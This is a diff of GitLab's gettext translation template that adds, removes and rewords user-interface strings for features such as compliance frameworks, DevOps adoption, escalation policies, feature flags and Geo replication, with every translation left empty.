@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
